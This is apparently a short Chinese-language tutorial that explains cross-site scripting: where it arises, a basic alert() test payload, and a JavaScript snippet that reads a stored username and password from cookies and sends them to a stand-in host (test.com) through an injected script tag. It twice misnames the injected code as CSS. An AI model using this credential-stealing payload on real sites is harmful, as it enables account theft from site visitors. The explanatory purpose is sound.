跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
一般只能出现在留言,发表评论,表单填入。将xss攻击提交到服务器。
大多数的网页
在大多数的网页中都具有表单模块,用以向服务器发送请求或者数据,如留言,评论等等。
XSS
如果一个网页的后台数据库或者服务器未经过数据过滤操作之类的操作,而完全信任用户的任何输入数据和请求的时候就有可能发生以下的情况。如在表单中输入
<script>alert("hh")</script>这样在用户打开页面的同时,页面加载CSS当执行到这里的数据的时候会弹出一个框,来实现XSS的简单攻击。
利用xss窃取用户名密码
当然这个示例很简单,几乎攻击不到任何网站,仅仅看看其原理。我们知道很多登陆界面都有记住用户名、密码的功能方便用户下次登录,有些网站是直接用明文记录用户名、密码,恶意用户注册账户登录后使用简单工具查看cookie结构名称后,如果网站有xss漏洞,那么简单的利用jsonp就可以获取其它用户的用户名、密码了。
恶意用户会这么输入
var username=CookieHelper.getCookie('username').value;
var password=CookieHelper.getCookie('password').value;
var script =document.createElement('script');
script.src='http://test.com/index.php?username='+username+'&password='+password;
document.body.appendChild(script);
几句简单的javascript,获取cookie中的用户名密码,利用jsonp把向http://test.com/index.php
发送了一个get请求
这样恶意用户就把访问留言板的用户的信息窃取了。
个人初步理解XSS就是利用数据交互的漏洞来实现植入恶意CSS代码,从改变程序的正常运作。